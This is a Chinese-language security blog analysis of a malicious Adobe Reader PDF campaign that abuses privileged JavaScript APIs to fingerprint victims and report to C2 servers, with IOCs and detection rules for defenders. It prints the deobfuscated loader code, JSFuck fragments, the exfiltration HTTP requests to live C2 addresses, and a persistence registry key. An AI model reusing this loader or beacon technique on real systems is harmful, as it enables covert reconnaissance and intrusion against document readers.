你的PDF阅读器可能正在替攻击者做信息搜集?快来一探究竟
如果你还把 PDF 阅读器当成一个相对被动、相对安全的文档查看工具，今天向各位少侠分享的Adobe Reader样本，可能会让你大跌眼镜。 国外安全机构EXPMON在2026年4月公开披露了一条针对Adobe Reader的复杂攻击链，样本目前在最新版本Reader上仍可触发恶意行为。 经过研究发现，今天所讨论恶意样本不会一上来就丢恶意程序，也不急着进行代码执行，而是先借助Reader自身的JavaScript引擎和特权 API，收集受害主机的系统版本、语言、文件路径等指纹信息，再发回远端服务器，由服务器判断这个目标值不值得继续打。 很多师傅看到这篇文章，都会先入为主，一般在国内进行相关通告之前，不需要做什么补救活动。但这并不是一个只能等厂商确认后再讨论的话题，当我们发现了有威胁组织的成功利用脆弱性之后，我们应当里吗进行分析。对防守方来说，只要样本、行为链和可观测线索已经足够清楚，就应该进入响应，而不是把一切都押后到CVE 发布之后。 之所以赘述这一段，就是因为我在做这篇技术分析的时候，就面临这样的思考。当小隐（我的agent之一）找到这个安全资讯，并把文章草稿发给我的时候，我有过迟疑，但仔细思考后我觉得我们应该有对威胁高度的警惕性和敏锐的观察力。 目前公开证据能说明的是：攻击者已经建立了一条可工作的指纹收集与远端交互通道；至于后续是否投递了真正的RCE或沙箱逃逸载荷，现有动态测试还没有直接捕获到。 截至发稿，Adobe 尚未公开发布与此事件对应的 CVE 或安全公告。 2025年11月28日： 第一枚样本（SHA-256: 54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f ）以”Invoice540.pdf”的文件名出现在VirusTotal。彼时没有形成广泛预警，VT当时的检测率为 7/77。 2026年3月23日： 第二枚样本（SHA-256: 65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7 ）出现在 VirusTotal，VT 当时的检测率为 6/77。 两枚样本使用了不同的C2地址和不同的campaign ID，但有着高度的相似性。样本间存在差异，可能是因为在攻击过程中，虽然属于同一活动，但所处不同阶段，可能进行了基础设施的轮换，从而导致当前情况。 2026年3月26日：EXPMON在动态分析中捕获样本并完成确认分析。研究人员表示，他们在当时最新版本的Adobe Reader（26.00121367）上仍然能够稳定触发样本中的相关能力——最新Reader仍可触发，且Adobe尚无CVE和补丁，这是当前防守窗口的核心依据。 2026年4月：Gi7w0rm 在 X 平台补充了诱饵细节：样本使用俄语，内容涉及俄罗斯油气行业当前事件。EXPMON同步公开披露，BleepingComputer、The Hacker News、The Register 等媒体随后跟进。 Adobe官方状态（截至发稿）： 尚未公开发布CVE、补丁或正式安全公告。BleepingComputer 向 Adobe 查询，得到的回复是”已收到询问，暂无立即评论”。
54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f
/AcroForm、/OpenAction [5 0 R /Fit]、/Names
隐藏按钮 btn1，/Rect [0 0 0 0]（不可见），/V 属性存储 98,588 字节 base64 payload
名为 PrintReport_54，含 JSFuck 混淆的 Stage 1 加载器
({}+[])[[+!+[]]+[+!+[]]] => "e" (!+[]/+[]+[])[!+[]+!+[]+!+[]] => "i" (+{}+[])[+!+[]] => "a"
解混淆后的 Stage 1 代码（据 EXPMON + Gist）：
app.t = app.setTimeOut ( util.stringFromStream ( SOAP .streamDecode ( util.streamFromString ( getField ("btn1" ).value // 读取隐藏表单字段 ), "base64" // base64 解码 ) ), 500 // 500ms 延迟（沙箱规避） );
触发方式： PDF 打开时，OpenAction 自动执行 Object 11 中的 JavaScript，500 毫秒后从隐藏表单字段 btn1 提取 payload 并执行。关键词全部通过 JSFuck 构造，静态扫描无法直接识别。 base64 解码后的 JavaScript 长达 73936 字符，仍高度混淆。 代码模块结构（据 EXPMON + Gist）如下：
OS 版本、Reader 版本、语言、杀软、PDF 路径
构建伪装为 Adobe RSS 请求的 C2 请求
9 个类引用，实现完整 AES-CTR + PKCS#7 填充
26 处 zip_inflate 引用，解压 C2 返回的 payload
viewerVersion=23.00820533
二进制解析 ntdll.dll（getUint16）
osVersion=10.0.19041.1288
pdfFile=C:\Users\…\manual.pdf
/c/windows/system32/ntdll.dll
通过 PE header 解析提取精确 OS 版本
/c/Windows/System32/bootsvc.dll
检测 Windows Server / ADFS 功能存在性
支持的目标版本字符串：WIN8.1, WIN10, WIN11。
Stage 3：util.readFileIntoStream() 的滥用
相关 API 用途对照（据 Gist + Adobe 官方文档）：
util.readFileIntoStream()
读取 ntdll.dll、bootsvc.dll 等系统文件，提取精确 OS 版本
为什么读 ntdll.dll 而非调用 app.version： app.version 只能给出模糊的平台信息（如 “WIN”），而 ntdll.dll 的 PE Header 包含精确到 build 号的版本号（如 10.0.19041.1288 对应 Windows 10 20H2）。攻击者需要精确版本号才能判断是否存在对应漏洞，从而决定是否投递 exploit——版本不匹配时投递可能导致失败并暴露行踪。
Stage 4：RSS.addFeed() 的隐蔽外联与后续投递
GET /rs1?rnd=0 .8987183619622767 &od=422974 HTTP/1 .1 Host : 188.214.34.20:34123 User -Agent: Mozilla/3 .0 (compatible; Adobe Synchronizer 23 .8 .20533 )
GET / s11?language = ENU& viewerType= Reader& viewerVersion= 23.00820533 & platform= WIN& activeDocs= 1 & errs=& av= NONE & osVersion= 10.0.19041.1288 & pdfFile= C:\Users\Bruno\Desktop\manual.pdf& rnd= 0.884190669331025 & od= 422974 HTTP/ 1.1 User - Agent: Mozilla/ 3.0 (compatible; Adobe Synchronizer 23.8.20533 )
C2 返回 AES-CTR 加密的 JavaScript 代码
每 500ms 轮询一次，最多 80 次重试，之后清理
188.214.34.20:34123（塞浦路斯，EDIS GmbH）
169.40.2.68:45191（拉脱维亚，SIA VEESP）
ado-read-parser.com（2025-02-06，NameSilo）
2025-07-08 解析至 188.214.34.20
关键发现： Port 34123 在 Shodan 扫描历史上从未被发现开放——这意味着该端口或者被防火墙限制为仅允许特定 IP 访问，或者在目标打开 PDF 时按需启动，或者绑定到特定域名（SNI 过滤）。这是有意识的 C2 操作安全设计。 Gist 分析截获的缓存响应内容为`//`（有效的空 JavaScript 注释）。这一发现确认了服务器端存在目标筛选或环境甄别机制——攻击者对测试/沙箱环境返回空响应，对真实目标才会发送完整 payload。
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe Reader Synchronizer ` → ` "C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe"
Acrobat.exe (PID :6416 ) "manual.pdf" ├── AdobeCollabSync.exe -c (PID :3520 ) ├── AdobeCollabSync.exe -c (PID :5424 ) [stealth_timeout] ├── AdobeCollabSync.exe -c (PID :1376 ) ├── AdobeCollabSync.exe -c (PID :1428 ) ├── Adobe Crash Processor.exe (PID :5784 ) [读取远程进程内存] │ └── CRWindowsClientService.exe (PID :2956 ) │ ├── CRLogTransport.exe (PID :5384 ) │ └── CRLogTransport.exe (PID :5148 )
标签：CALLS WMI, PERSISTENCE, LONG SLEEPS
两版本对比：v1（原型）vs v2（生产级）（据 Gist）
更强（exec 调用 5→2，addFeed 2→1）
放弃 Win7，改为检测 /c/Windows/ADFS
相同的 14 个命名函数（checkInt、checkInts、coerceArray 等）
相同的 zip_inflate 解压（26 处引用）
相同的 eval(global.final_js) 执行链
已观察到针对 Reader v25.x 的 /s12 端点日志（据 Gist）： 说明攻击者正在积极开发，仍在演进，v3 可能已在路上。
域名 ado-read-parser.com 注册（NameSilo）
zx.ado-read-parser.com 首条 DNS 解析至 188.214.34.20
IP 段 188.214.34.0/24 分配给 EDIS-NET-CY
样本 v1（65dca34b…）首次出现在 VirusTotal
IP 段 169.40.0.0/21 分配给 VEESP（样本 v2 C2）
样本 v2（54077a5b…）首次出现在 VirusTotal
EXPMON 公开披露，BleepingComputer 等跟进
检测与防御规则（据 Gist，建议纳入 SOC/EDR 规则库）
alert http User - Agent containing "Adobe Synchronizer" to non- Adobe IPs alert http URI containing "&od=422974" or "&od=319988" alert http URI matching / rs[12 ]?\?rnd= to external IPs alert http URI matching / s1[12 ]\?language = to external IPs alert TCP to non- standard ports (34123 , 45191 ) from Adobe processes
alert on creation of HKCU\...\Run\Adobe Reader Synchronizer
alert on AdobeCollabSync.exe making external network connectionsalert on Acrobat.exe/AcroRd32.exe reading ntdll.dll or bootsvc.dll
`/AcroForm + /OpenAction + /JS with JSFuck: ({}+[])[[+!+[]]]`
`Hidden form field: /Rect [ 0 0 0 0 ] + /FT /Btn + /T (btn1)`
Base64-decoded payload 包含: `readFileIntoStream`, `addFeed`, `removeFeed`, `final_js`
变量命名包含: `dog1`, `dog2`, `bird0`, `bird1`, `pig0`, `deer`, `reindeer`
Campaign markers: `422974`, `319988`
安全社区对这类攻击有一个名称叫”fingerprinting attack”，乍听起来， “指纹识别”听起来像是前置侦察，不值得大惊小怪， 但这个名称其实容易让人低估它的威胁程度。 我们要意识到，因为任何严重威胁产生事件之前，都有对应的踩点动作。换句话说，踩点动作本身也许并未产生实质危害，关键要去思考背后可能引入的威胁。 传统的攻击者，其实也都是商人，他们要思考攻击的产投比，总是需要要判断，这次投递的回报，是否值得承担暴露成本。 投递一个RCE exploit有暴露风险，可能崩溃目标进程，可能触发EDR告警，可能留下痕迹。 指纹识别攻击就可以优化这个计算中的痛点。因为在投递之前，攻击者已经知道目标是否值得打。如果目标不满足条件，根本不会收到RCE payload，攻击者会基于收集到的指纹信息判断目标价值——如果判定目标不在攻击范围内，至少不会进入后续投递阶段。 这时候，我们可以看到指纹识别不是攻击的准备动作，而是攻击本身的第一个决策节点。再换句话说，攻击的起点不是RCE，是目标筛选。 C2 服务器对测试环境返回空响应（”//”）这个事实，不是”运气好”，是有意识的设计。 攻击者专门构建了”目标评估服务”，只有满足特定条件的请求才会收到真正的 payload。 这是设计层面的对抗，不是更新沙箱规则能解决的表面问题。 指纹识别阶段不触发传统告警。没有恶意 payload，没有文件落地，Reader 的所有行为都在合法 API 调用范围内。 关键是把”异常文档进程行为”纳入监控范围，而不是继续等待恶意 payload 出现。 从而在信息搜集阶段就打断它，不需要等 RCE，在指纹收集完成之前发现异常行为就够了。
Adobe Reader 安全模型与 API 滥用
理解这一攻击的技术本质，需要回到 Adobe Reader 的 JavaScript 安全模型。 Adobe 在官方文档中，将 JavaScript API 分为普通 API 和特权 API（High Privileged）。util.readFileIntoStream() 和 RSS.addFeed() 都属于后者，涉及文件系统访问、网络通信和系统信息获取。Adobe 明确说明：非信任文档不应该能够调用这些 API。 Adobe 提供了多层控制机制：全局禁用（通过 Preferences 或相应配置文件）、API 黑名单（通过 JavaScript Blacklist Framework 选择性禁用特定危险 API）、以及组策略或注册表级控制（允许企业通过组策略统一管理）。具体配置路径和操作方法，建议参考 Adobe 官方安全文档（Adobe Acrobat SDK JavaScript Security Guide）。 样本能够调用特权 API，研究人员认为这利用了 Reader JavaScript 引擎的一个未修补逻辑缺陷——这是 EXPMON 的独立研究判断，未经 Adobe 官方确认。 遗憾的是，具体技术细节（是哪一个代码路径、以什么方式绕过），Adobe 尚未披露。 当前常见做法： 告警规则设计为在已知恶意行为触发时响应——恶意文件落地、可疑进程创建、已知恶意 IP 连接。 暴露的问题： 指纹识别阶段的所有行为都在”合法”范围内。Reader 调用自己的 API、读取文件、发起 HTTPS 请求——都是正常行为，传统 SOC 规则不会告警。
第一条：建立”文档进程网络行为基线”。Adobe Reader 在大多数企业环境中不应该每天向数十个不同 IP 发起 HTTPS 请求，尤其是非 Adobe 官方域名的请求。基线建立后，异常外联立即可见。
第二条：新增检测规则。Reader 进程向非 Adobe 官方域名发起 HTTPS 请求，且 URL 参数包含 osVersion、pdfFile、av= 等系统指纹字段。这一组合条件满足时，应触发高优先级告警。
第三条：建立”不明来源 PDF 打开”事件的标准化响应流程。主机上打开不明来源PDF后，该 Reader 进程的任何异常网络请求都必须被审查，不论最终判断是否恶意。
当前常见做法： 沙箱运行样本，观察是否落地可执行文件、是否创建进程、是否连接已知恶意 IP。 暴露的问题： 沙箱检测的是”样本是否恶意”，而不是”样本所在环境是否被评估”。攻击者有服务器端目标筛选机制——沙箱环境不满足条件，服务器返回空响应，样本在沙箱中表现得完全良性。
第一条：沙箱报告必须包含”是否存在异常网络交互”这一维度。即使返回为空，也要记录”存在服务器端筛选行为”。
第二条：关注”RSS.addFeed()”调用的异常性，URL 参数中包含指纹字段（osVersion、pdfFile、av 等），即使没有后续恶意行为，本身就是可疑信号。
第三条：对于包含特权 API 调用的 PDF 样本，沙箱应该特别记录 API 调用序列和所有网络请求参数。
当前常见做法： EDR 规则聚焦于已知恶意行为模式——进程创建、文件写入、注册表修改、PowerShell 执行。 暴露的问题： util.readFileIntoStream() 和 RSS.addFeed() 都是 Adobe Reader 的合法 API，EDR 默认不会拦截。恶意代码用的是 Adobe 的工具、Adobe 的协议、Adobe 的端口，没有触发任何传统恶意行为规则。
第一条：建立Reader/Acrobat 进程的 API 调用与网络行为关联分析。当 Reader 进程调用 util.readFileIntoStream 读取敏感路径且同时存在网络外联时，应触发告警——这两个行为单独看都可能正常，组合出现才构成可疑信号。
第二条：监控AdobeCollabSync.exe 的异常子进程增殖行为，这可能与后利用阶段的持久化操作有关。
第三条：关注 Reader 进程向非标准端口（样本使用 34123 和 45191）的 HTTP 请求，这类高端口出站连接在企业网络中极为罕见。
第一，检查邮件安全网关和沙箱是否具备检测”Reader 进程异常网络外联 + 指纹参数”组合行为的能力。如果当前规则只检查”是否连接恶意 IP”，需要升级。
第二，在网络出口层增加对 Acrobat/AdobeReader 进程向非标准端口发起 HTTP 请求的监控和告警。样本使用的 C2 端口（34123、45191）是当前这批样本的指标，应关注端口本身的异常，而非仅关注特定 IP。
第三，建立”不明来源 PDF 打开”事件的应急响应流程——打开 PDF 不等于中招，但打开后 5 分钟内的进程行为必须被审查。
第四，将 Adobe Reader/Acrobat 纳入”高风险客户端软件”管理范围，默认视为与浏览器、Office 同等的攻击入口。
第五，关注 Adobe 官方安全通告，等待官方补丁发布后立即启动更新流程。在此之前，网络层的异常行为检测是主要防线。
第一，不要打开来源不明的 PDF，尤其是文件名包含”发票””合同””收据”等钓鱼常用词汇的附件。
第二，如非业务必需，考虑在 Adobe Reader 设置中关闭 JavaScript 支持（Preferences > JavaScript，取消勾选 Enable Acrobat JavaScript）。
第三，关注 Adobe 官方安全通告，补丁发布后立即更新 Adobe Reader 至最新版本。
第四，对任何要求打开附件才能完成操作或查看内容的邮件保持警惕，即使文件名看起来正常。
对企业来说，最值得警惕的不是”Reader 有没有一个正式编号的 0day”，而是文档阅读器正在越来越像一个轻量级执行环境，而安全团队对它的治理却常常还停留在”办公软件”层面。 Adobe Reader 不是一个”相对安全的 PDF 查看器”。它内置了完整的 JavaScript 运行时、特权 API、文件系统访问和网络请求能力。Microsoft Office 的 VBA 宏、某些 PDF 阅读器的扩展能力——都在把”文档”变成”应用”。攻击者已经充分理解这一趋势，并将文档工具作为首选入口。 企业安全建设应该把 Adobe Reader、Microsoft Office、浏览器放在同一个”客户端攻击面”框架下管理，而不是分别对待。 传统漏洞响应以 CVE 为触发条件。这个流程的缺陷是：漏洞发现和官方确认之间存在时间差，防御方在这个时间差里完全靠自己的判断。 这个案例的核心证据已经公开：样本在 VirusTotal，EXPMON 完成动态测试，安全厂商交叉印证，Adobe 收到通报但尚未回应。对防御方来说，这个信息窗口就是响应窗口——在这个窗口内采取行动，不需要等待 CVE 编号。 建立”CVE 前的应急响应”能力，是这个案例对安全运营最重要的方法论启示。 指纹识别型攻击颠覆恶意 payload 落地才有告警的传统模型：告警触发时，攻击可能已经完成；或者根本没开始，因为攻击者已经判断你不值得打。 防御方需要把监控焦点从恶意 payload转向异常行为链。Reader 进程打开了 PDF，然后向非 Adobe 官方域名发起了 HTTPS 请求，URL 里包含系统指纹参数。这整条链本身就是可疑行为，不需要等恶意文件落地才算威胁。 把这条行为链拆开看，每一步单独都可能正常——打开 PDF 是正常操作，Reader 有网络请求是正常行为，收集系统信息是合法 API——但当它们按这个顺序组合出现时，就是一次指纹识别攻击的特征信号。 SOC 的规则设计需要理解这种”组合行为”，而不是单独评估每个动作。
54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f
65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7
/rs1?rnd= &od=422974；/s11?language=…&osVersion=…
Mozilla/3.0 (compatible; Adobe Synchronizer )
提醒： 这类IOC具备强时效性，攻击者更换基础设施的成本很低，IP 和域名可能很快轮换。因此行为检测（Reader 进程异常网络外联 + 指纹参数）的优先级应高于单纯IOC封堵。
欢迎关注我们的公众号、CSDN、视频号、BiliBili账号
如您有意加入私域圈子，也可在公众号私信联系我，我正在和小隐小侠构造中，敬请期待，谢谢～
夜雨聆风
